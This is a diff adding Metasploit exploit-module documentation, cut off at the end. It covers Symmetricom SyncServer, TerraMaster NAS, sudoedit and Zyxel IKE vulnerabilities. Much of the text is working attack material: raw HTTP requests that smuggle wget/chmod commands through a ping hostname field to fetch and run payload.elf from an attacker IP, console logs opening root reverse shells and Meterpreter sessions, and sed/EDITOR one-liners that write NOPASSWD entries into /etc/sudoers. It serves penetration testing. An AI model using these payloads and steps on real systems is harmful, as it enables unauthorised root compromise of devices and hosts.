 + + +No Current Major or Minor Alarms + + +
+
+ + + + + + + + + + + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+ +
+
+ +
+
+ +
+
+ +
+
Network Ping Test
+ ++ + + + + + + + + + +
 
 
Ping -c 5 -w 5
  + + + + + + Ping + + Ping6 + +
 
+ + ++ + + +
Ping Output
+
+ ++ + + + + + + + + + + + +
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
+
+
+
+ + + + + + + + + + + + +
+ +
+ + Apply + + + + Cancel + + + + + +
+
+ Pinging \`wget\$\{IFS\}http://192.168.143.50/payload.elf\$\{IFS\}-O\$\{IFS\}/tmp/payload.elf\`  +   +
+ +
+ +
+ pagehelp + pagerefresh +
+ + + + + +
+ + + + + + + +[*] 192.168.143.222:80 - Making payload executable... +#################### +# Request: +#################### +POST /controller/ping.php HTTP/1.1 +Host: 192.168.143.222 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Content-Length: 190 + +currentTab=ping&refreshMode=dirtyðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=true&hostname=%60chmod%24%7bIFS%7d700%24%7bIFS%7d/tmp/payload.elf%60&port=eth0&pingType=ping +#################### +# Response: +#################### +HTTP/1.1 302 Found +Date: Thu, 18 May 2023 14:13:56 GMT +Server: Apache +Set-Cookie: PHPSESSID=92c047aa2d8aaadbfce5ce671817ef74; path=/ +Location: ../login.php +Transfer-Encoding: chunked +Content-Type: text/html + + + + + + +Symmetricom SyncServer + + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + + + + +
 
 
 
 + + +No Current Major or Minor Alarms + + +
+
+ + + + + + + + + + + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+ +
+
+ +
+
+ +
+
+ +
+
Network Ping Test
+ ++ + + + + + + + + + +
 
 
Ping -c 5 -w 5
  + + + + + + Ping + + Ping6 + +
 
+ + ++ + + +
Ping Output
+
+ ++ + + + + + + + + + + + +
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
+
+
+
+ + + + + + + + + + + + +
+ +
+ + Apply + + + + Cancel + + + + + +
+
+ Pinging \`chmod\$\{IFS\}700\$\{IFS\}/tmp/payload.elf\`  +   +
+ +
+ +
+ pagehelp + pagerefresh +
+ + + + + +
+ + + + + + + +[*] 192.168.143.222:80 - Executing payload... +#################### +# Request: +#################### +POST /controller/ping.php HTTP/1.1 +Host: 192.168.143.222 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Content-Length: 158 + +currentTab=ping&refreshMode=dirtyðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=true&hostname=%60/tmp/payload.elf%60&port=eth0&pingType=ping +[*] Transmitting intermediate stager...(106 bytes) +[*] Sending stage (1017704 bytes) to 192.168.143.222 +[*] Meterpreter session 1 opened (192.168.143.50:25 -> 192.168.143.222:52474) at 2023-05-18 10:14:04 -0400 + +msf6 exploit(linux/http/symmetricom_syncserver_rce) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: root +meterpreter > +#################### +# Response: +#################### +No response received +[*] Server stopped. + +meterpreter > + +``` diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md new file mode 100644 index 0000000000000..4a3036591fa93 --- /dev/null +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md @@ -0,0 +1,192 @@ +## Vulnerable Application + +This module is exploiting a vulnerability described in [CVE-2020-35665](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-35665) or +[CVE-2020-28188](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28188) that allows an unauthenticated attacker to upload a webshell +via shell metacharacters in the `Event` parameter using the vulnerable endpoint `include/makecvs.php` during the `CSV` creation process. +See this [AttackerKB Article](https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665) for more details. + +Because of this, any remote attacker, regardless of authentication, can exploit this vulnerability to gain +access to the underlying operating system as the user that the web services are running as (typically `root` in case of TerraMaster). + +Installing a vulnerable test bed requires a TerraMaster NAS device that can run `TOS 4.x` +This module has been tested against a TerraMaster `F2-221` Model with the specifications listed below: + +* TerraMaster F2-221 +* CPU: `x86` +* TOS Version: `4.1.27` + +## Verification Steps + +1. `use exploit/linux/http/terramaster_unauth_rce_cve_2020_35665` +1. `set RHOSTS ` +1. `set RPORT ` +1. `set LHOST ` +1. `set LPORT ` +1. `set TARGET <0-PHP, 1-Unix command or 2-Linux Dropper>` +1. `exploit` +1. You should get a `bash` shell or `meterpreter` session depending on the `target` and `payload` settings. + +## Options + +### WEBSHELL +You can use this option to set the filename and extension (should be .php) of the webshell. +This is handy if you want to test the webshell upload and execution with different file names. +to bypass any security settings on the Web and PHP server. + +### COMMAND +This option provides the user to choose the PHP underlying shell command function to be used for execution. +The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`. +This option is only available when the target selected is either Unix Command or Linux Dropper. +For the native PHP target, by default the `eval()` function will be used for native PHP code execution. + +## Scenarios + +```msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > info + + Name: TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution + Module: exploit/linux/http/terramaster_unauth_rce_cve_2020_35665 + Platform: Unix, Linux + Arch: cmd, php, x64, x86, aarch64 + Privileged: No + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2020-12-12 + +Provided by: + h00die-gr3y + IHTeam + +Module side effects: + ioc-in-logs + artifacts-on-disk + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 PHP + 1 Unix Command + 2 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8181 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes Path to Terramaster Web console + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + WEBSHELL no Web shell name with extension .php. Name will be randomly generated if left unset. + + + When TARGET is not 0: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + +Payload information: + +Description: + This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06 + and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php` + during CSV creation. + Any unauthenticated user can therefore execute commands on the system under the same privileges as the + web application, which typically runs under root at the TerraMaster Operating System. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2020-35665 + https://nvd.nist.gov/vuln/detail/CVE-2020-28188 + https://packetstormsecurity.com/files/160685 + https://packetstormsecurity.com/files/160687 + https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/ + https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665 +``` + +### TerraMaster F2-210 TOS 4.1.27 - PHP native `php/meterpreter/reverse_tcp` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 0 +target => 0 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.1.27 and CPU architecture is X64. +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (39927 bytes) to 127.0.0.1 +[+] Deleted cuckoo.php +[*] Meterpreter session 5 opened (192.168.10.1:4444 -> 192.168.10.2:55766) at 2023-06-05 14:23:14 +0000 + +meterpreter > sysinfo +Computer : TerrorMaster +OS : Linux TerrorMaster 4.13.16 SMP Mon Jun 05 14:23:56 CET 2023 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: root +meterpreter > +``` +### TerraMaster F2-210 TOS 4.1.27 - Unix Command `cmd/unix/reverse_bash` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 1 +target => 1 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.1.27 and CPU architecture is X64. +[*] Executing Unix Command for cmd/unix/reverse_bash +[+] Deleted cuckoo.php +[*] Command shell session 6 opened (192.168.10.1:4444 -> 192.168.10.2:54556) at 2023-06-05 14:31:35 +0000 + +uname -a +Linux TerrorMaster 4.13.16 SMP Mon Jun 05 14:32:13 CET 2023 x86_64 GNU/Linux +id +uid=0(root) gid=0(root) groups=0(root) +``` +### TerraMaster F2-210 TOS 4.1.27 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 2 +target => 2 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.1.27 and CPU architecture is X64. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Sending stage (3045348 bytes) to 127.0.0.1 +[+] Deleted cuckoo.php +[*] Meterpreter session 7 opened (192.168.10.1:4444 -> 192.168.10.2:46174) at 2023-06-05 14:39:17 +0000 +[*] Command Stager progress - 100.00% done (810/810 bytes) + +meterpreter > sysinfo +Computer : 192.168.10.2 +OS : (Linux 4.13.16) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +meterpreter > +``` + +## Limitations +No limitations. diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md new file mode 100644 index 0000000000000..ebdec8785e27e --- /dev/null +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md @@ -0,0 +1,84 @@ +## Vulnerable Application + +This module provides a Terramaster chained exploit that performs session crafting to achieve escalated privileges +that allows an attacker to access vulnerable code execution flaws. TerraMaster Operating System (TOS) versions +`4.2.15` and below are affected. + +[CVE-2021-45839](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45839) is exploited to obtain the first administrator's +hash set up on the system as well as other information such as MAC address, by performing a POST request to the +`/module/api.php?mobile/webNasIPS` vulnerable endpoint. +This information is used to craft an unauthenticated admin session using vulnerability +[CVE-2021-45841](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45841) where an attacker can self-sign session cookies +by knowing the target MAC address and the user password hash. Guest users (disabled by default) can be abused using a null/empty hash +and allow an unauthenticated attacker to login as guest which is used to download the `/etc/group` info to obtain the list of admin users +to be used for the session crafting. + +Finally, [CVE-2021-45837](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45837) is exploited to execute arbitrary commands as root +by sending a specifically crafted input to vulnerable endpoint `/tos/index.php?app/del`. + +This module has been tested against a TerraMaster `F2-221` Model with the specifications listed below: + +* TerraMaster F2-221 +* CPU: `x86` +* TOS Version: `4.2.08` + +## Verification Steps + +1. `use exploit/linux/http/terramaster_unauth_rce_cve_2021_45837` +1. `set RHOSTS ` +1. `set RPORT ` +1. `set LHOST ` +1. `set LPORT ` +1. `set TARGET <0-Unix command or 1-Linux Dropper>` +1. `exploit` +1. You should get a `bash` shell or `meterpreter` session depending on the `target` and `payload` settings. + +## Options +No specific options. + +## Scenarios + +### TerraMaster F2-210 TOS 4.2.08 - Unix Command `cmd/unix/reverse_bash` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > set target 0 +target => 0 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. +[*] Executing Unix Command for cmd/unix/reverse_bash +[*] Command shell session 1 opened (192.168.10.1:4444 -> 192.168.10.2:41822) at 2023-06-06 07:27:36 +0000 + +uname -a +Linux TerrorMaster 4.13.16 SMP Tue Jun 06 09:28:43 CET 2023 x86_64 GNU/Linux +id +uid=0(root) gid=0(root) groups=0(root) +``` +### TerraMaster F2-210 TOS 4.2.08 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > set target 1 +target => 1 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Sending stage (3045348 bytes) to 127.0.0.1 +[*] Meterpreter session 2 opened (192.168.10.1:4444 -> 192.168.10.2:36938) at 2023-06-06 07:29:50 +0000 +[*] Command Stager progress - 100.00% done (823/823 bytes) + +meterpreter > sysinfo +Computer : 192.168.10.2 +OS : (Linux 4.13.16) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +meterpreter > +``` + +## Limitations +No limitations. diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md new file mode 100644 index 0000000000000..e0ebed225db08 --- /dev/null +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md @@ -0,0 +1,157 @@ +## Vulnerable Application + +This module combines [CVE-2022-24990: Leaking sensitive information](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24990) and +[CVE-2022-24989: Authenticated remote code execution](https://www.redpacketsecurity.com/terramaster-tos-command-execution-cve-2022-24989/) +to achieve an unauthenticated RCE by exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as +admin password hash and mac address to achieve unauthenticated access and use the vulnerable endpoint `api.php?mobile/createRaid` with +`POST` parameters `raidtype` / `diskstring` to execute remote code as root on TerraMaster NAS devices. + +All TerraMaster devices running TerraMaster Operating System (TOS) `4.2.29` or lower are vulnerable. + +Installing a vulnerable test bed requires a TerraMaster NAS device that can run `TOS 4.x` +This module has been tested against a TerraMaster `F2-221` Model with the specifications listed below: + +* TerraMaster F2-221 +* CPU: `x86` +* TOS Version: `4.2.08` + +## Verification Steps + +1. `use exploit/linux/http/terramaster_unauth_rce_cve_2022_24990` +1. `set RHOSTS ` +1. `set RPORT ` +1. `set LHOST ` +1. `set LPORT ` +1. `set TARGET <0-Unix command or 1-Linux Dropper>` +1. `exploit` +1. You should get a `bash` shell or `meterpreter` session depending on the `target` and `payload` settings. + +## Options +No specific options. + +## Scenarios + +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > info + + Name: TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989 + Module: exploit/linux/http/terramaster_unauth_rce_cve_2022_24990 + Platform: Unix, Linux + Arch: cmd, php, x64, x86, aarch64 + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2022-03-07 + +Provided by: + h00die-gr3y + Octagon Networks + 0xf4n9x + +Module side effects: + ioc-in-logs + artifacts-on-disk + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 Unix Command + 1 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h + tml + RPORT 8181 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes Path to Terramaster Web console + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0 + .0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + +Payload information: + +Description: + This module exploits an unauthenticated remote code execution vulnerability in TerraMaster TOS 4.2.29 + and lower by chaining two existing vulnerabilities, CVE-2022-24990 "Leaking sensitive information" + and CVE-2022-24989, "Authenticated remote code execution". + Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password + hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint + `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to execute remote code as root + on TerraMaster NAS devices. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2022-24990 + https://nvd.nist.gov/vuln/detail/CVE-2022-24989 + https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/ + https://github.com/0xf4n9x/CVE-2022-24990 + https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990 + + +View the full module info with the info -d command. +``` + +### TerraMaster F2-221 TOS 4.2.08 - Unix Command `cmd/unix/reverse_bash` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 0 +target => 0 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. +[*] Executing Unix Command for cmd/unix/reverse_bash +[*] Command shell session 1 opened (192.168.10.1:4444 -> 192.168.10.2:54556) at 2023-06-10 12:31:22 +0000 + +uname -a +Linux TerrorMaster 4.13.16 SMP Mon Jun 10 14:32:13 CET 2023 x86_64 GNU/Linux +id +uid=0(root) gid=0(root) groups=0(root) +``` +### TerraMaster F2-221 TOS 4.2.08 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 1 +target => 1 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Sending stage (3045348 bytes) to 127.0.0.1 +[*] Meterpreter session 2 opened (192.168.10.1:4444 -> 192.168.10.2:46174) at 2023-06-10 12:39:01 +0000 +[*] Command Stager progress - 100.00% done (810/810 bytes) + +meterpreter > sysinfo +Computer : 192.168.10.2 +OS : (Linux 4.13.16) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +meterpreter > +``` + +## Limitations +No limitations. diff --git a/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md b/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md new file mode 100644 index 0000000000000..8923bd056914e --- /dev/null +++ b/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md @@ -0,0 +1,162 @@ +## Vulnerable Application + +This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package. +The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided +environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to +append arbitrary entries to the list of files to process. This can lead to privilege escalation. +by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root +privileges. + +Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu +22.04 and 22.10. + +This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and +1.9.11p3-1ubuntu1 on Ubuntu 22.10. + +### Exploit Breakdown + +This exploit works by first identifying what file can be edited via `sudo -l`. The `-S` flag +is also required or sudo may complain about not being in a proper tty environment, so `-S` specifies +to allow password input via stdin (although we never provide a password). + +Next we make a new entry in `/etc/sudoers`. In theory we could specify something similar to `"$USER ALL=(ALL:ALL) ALL"` +which many of the PoCs do, however we can be more surgical. In this case, we don't specify the payload as most +Metasploit exploits would, but actually a shell (`/bin/sh` by default), as `sudo` doesn't play well with `&`. +We also add a flag at the end of our entry after a `#` (comment) for ease of erasing later. + +Next we execute out payload, launching it through our shell. + +Many of the PoCs work via user input where you have to manually edit `/etc/sudoers`. Obviously this strategy +won't work with Metasploit, as we need to automate it. Early attempts tried to script `vi` into performing +the write and quite command, similar to: +```EDITOR="vi -c ':$' -c ':s/$/\\r`whoami` ALL=(ALL:ALL) ALL/' -c ':wq' -c ':q' -- /etc/sudoers" sudo -e /etc/motd``` +However, the command didn't do well with newlines and escaping. + +`sed` however is a valid editor, so it was relatively trivial to script out adding the new entry via sed: +```EDITOR="sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: ALL' -- /etc/sudoers" sudo -e /etc/motd``` + +#### Results from other OSes + +Most of the errors are similar to: + +``` +[*] Executing command: EDITOR="sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: /bin/sh # 2Iq0tUAqsqtn' -- /etc/sudoers" sudo -S -e /etc/motd +[*] sudo: --: editing files in a writable directory is not permitted +[*] sed: -e expression #1, char 1: unknown command: `'' +``` + +### Install + +#### On Ubuntu 22.10: + +``` +https://mirrors.wikimedia.org/ubuntu/ubuntu/pool/main/s/sudo/sudo_1.9.11p3-1ubuntu1_amd64.deb +sudo dpkg -i sudo_1.9.11p3-1ubuntu1_amd64.deb +``` + +Follow the 22.04 instructions, after installing the deb package, to configure the host. + +#### On Ubuntu 22.04: + +``` +wget http://security.ubuntu.com/ubuntu/pool/main/s/sudo/sudo_1.9.9-1ubuntu2_amd64.deb +sudo dpkg -i sudo_1.9.9-1ubuntu2_amd64.deb +``` + +Now add an entry to `/etc/sudoers` for an editable file, in this case we use `/etc/motd`. +Change 'user' for whatever user you want to be able to exploit this: + +``` +user ALL=(root) NOPASSWD: sudoedit /etc/motd +``` + +Now test this by running `sudo -l` and you should see: + +``` +User may run the following commands on : + (ALL : ALL) ALL + (root) NOPASSWD: sudoedit /etc/motd +``` + +Noting the entry at the bottom to `/etc/motd` + +## Verification Steps + +1. Install the application +2. Get an initial shell +3. Do: `use exploit/linux/local/sudoedit_bypass_priv_esc` +4. Do: `set session [session]` +5. Do: `run` +6. You should get a root shell. + +## Options + +### EDITABLEFILE + +The file which can be edited via `sudoedit`. An attempt to auto detect this is made, so it is only required +if auto detection fails. + +### SHELL + +Which shell to use. Defaults to `/bin/sh` + +### TIMEOUT + +The amount of time to wait for a `sudo` command to respond. Defaults to `5`. + + +## Scenarios + +### Sudo 1.9.9-1ubuntu2 on Ubuntu 22.04 + +``` +[*] Processing sudoedit.rb for ERB directives. +resource (sudoedit.rb)> use auxiliary/scanner/ssh/ssh_login +resource (sudoedit.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (sudoedit.rb)> set username ubuntu +username => ubuntu +resource (sudoedit.rb)> set password ubuntu +password => ubuntu +resource (sudoedit.rb)> run +[*] 1.1.1.1:22 - Starting bruteforce +[+] 1.1.1.1:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) Linux ubuntu2204 5.15.0-48-generic #54-Ubuntu SMP Fri Aug 26 13:26:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux ' +[*] SSH session 1 opened (2.2.2.2:46613 -> 1.1.1.1:22) at 2023-04-25 18:46:03 -0400 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +resource (sudoedit.rb)> use exploit/linux/local/sudoedit_bypass_priv_esc +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +resource (sudoedit.rb)> set session 1 +session => 1 +resource (sudoedit.rb)> set verbose true +verbose => true +resource (sudoedit.rb)> exploit +[!] SESSION may not be compatible with this module: +[!] * incompatible session architecture: +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] sudo version 1.9.9.pre.1ubuntu2 is vulnerable +[+] The target is vulnerable. Sudo 1.9.9.pre.1ubuntu2 is vulnerable, can edit: /etc/motd +[*] Writing '/tmp/.LImVy' (250 bytes) ... +[*] Max line length is 65537 +[*] Writing 250 bytes in 1 chunks of 735 bytes (octal-encoded), using printf +[*] Adding user to sudoers +[*] Executing command: EDITOR="sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: /bin/sh # SbccIOwAiK1i' -- /etc/sudoers" sudo -S -e /etc/motd +[+] Likely successful exploitation, detected possitive error message: editing files in a writable directory is not permitted +[*] sudo: --: editing files in a writable directory is not permitted +[*] Spawning payload +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045348 bytes) to 1.1.1.1 +[-] Manual cleanup is likely required, please run: sed -i '/# SbccIOwAiK1i/d' /etc/sudoers +[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:57426) at 2023-04-25 18:46:25 -0400 + +(Meterpreter 2)(/home/ubuntu) > getuid +Server username: root +(Meterpreter 2)(/home/ubuntu) > sysinfo +Computer : 1.1.1.1 +OS : Ubuntu 22.04 (Linux 5.15.0-48-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 2)(/home/ubuntu) > +``` diff --git a/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md b/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md new file mode 100644 index 0000000000000..943d6ee2b634e --- /dev/null +++ b/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md @@ -0,0 +1,113 @@ +## Vulnerable Application +This module exploits a remote unauthenticated command injection vulnerability in the Internet Key Exchange +(IKE) packet decoder over UDP port 500 on the WAN interface of several Zyxel devices. The affected devices are +as follows: + +* ATP (Firmware version 4.60 to 5.35 inclusive) +* USG FLEX (Firmware version 4.60 to 5.35 inclusive), +* VPN (Firmware version 4.60 to 5.35 inclusive) +* ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive). + +The affected devices are vulnerable in a default configuration and command execution is with root privileges. For a +full technical analysis of the vulnerability read the +[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/N3i8dxpFKS/cve-2023-28771/rapid7-analysis). + +## Testing +A physical device is required for testing. The device must be running a vulnerable firmware version prior to the +vendor patch. A Zyxel USG FLEX 100 device was used during development and testing of this Metasploit module. + +The attacker must be able to send UDP data to port 500 on the WAN interface of the affected network device. + +## Verification Steps +1. Start msfconsole +2. `use exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771` +3. `set RHOST ` +4. `set LHOST eth0` +5. `set FETCH_SRVHOST eth0` +6. `check` +7. `exploit` +8. The default target `0` uses a `cmd/linux/http/mips64/meterpreter_reverse_tcp` payload. A meterpreter session with +root privileges should be created. + +## Scenarios + +### Default Target (Zyxel USG FLEX 100) +``` +msf6 > use exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771 +[*] Using configured payload cmd/linux/http/mips64/meterpreter_reverse_tcp +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set RHOSTS 192.168.86.40 +RHOSTS => 192.168.86.40 +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set LHOST eth0 +LHOST => 192.168.86.42 +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set FETCH_SRVHOST eth0 +FETCH_SRVHOST => 192.168.86.42 +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > show options + +Module options (exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS 192.168.86.40 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 500 yes The target port (UDP) + + +Payload options (cmd/linux/http/mips64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- 